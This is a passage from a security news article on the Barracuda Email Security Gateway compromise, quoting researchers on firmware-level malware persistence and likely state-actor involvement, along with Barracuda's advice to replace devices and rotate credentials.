Rapid7‘s Caitlin Condon called this remarkable turn of events “fairly stunning,” and said there appear to be roughly 11,000 vulnerable ESG devices still connected to the Internet worldwide.

“The pivot from patch to total replacement of affected devices is fairly stunning and implies the malware the threat actors deployed somehow achieves persistence at a low enough level that even wiping the device wouldn’t eradicate attacker access,” Condon wrote.

Barracuda said the malware was identified on a subset of appliances that allowed the attackers persistent backdoor access to the devices, and that evidence of data exfiltration was identified on some systems.

Rapid7 said it has seen no evidence that attackers are using the flaw to move laterally within victim networks. But that may be small consolation for Barracuda customers now coming to terms with the notion that foreign cyberspies probably have been hoovering up all their email for months.

Nicholas Weaver, a researcher at University of California, Berkeley’s International Computer Science Institute (ICSI), said it is likely that the malware was able to corrupt the underlying firmware that powers the ESG devices in some irreparable way.

“One of the goals of malware is to be hard to remove, and this suggests the malware compromised the firmware itself to make it really hard to remove and really stealthy,” Weaver said. “That’s not a ransomware actor, that’s a state actor. Why? Because a ransomware actor doesn’t care about that level of access. They don’t need it. If they’re going for data extortion, it’s more like a smash-and-grab. If they’re going for data ransoming, they’re encrypting the data itself — not the machines.”

In addition to replacing devices, Barracuda says ESG customers should also rotate any credentials connected to the appliance(s), and check for signs of compromise dating back to at least October 2022 using the network and endpoint indicators the company has released publicly.

Update, June 9, 11:55 a.m. ET: Barracuda has issued an updated statement about the incident, portions of which are now excerpted above.

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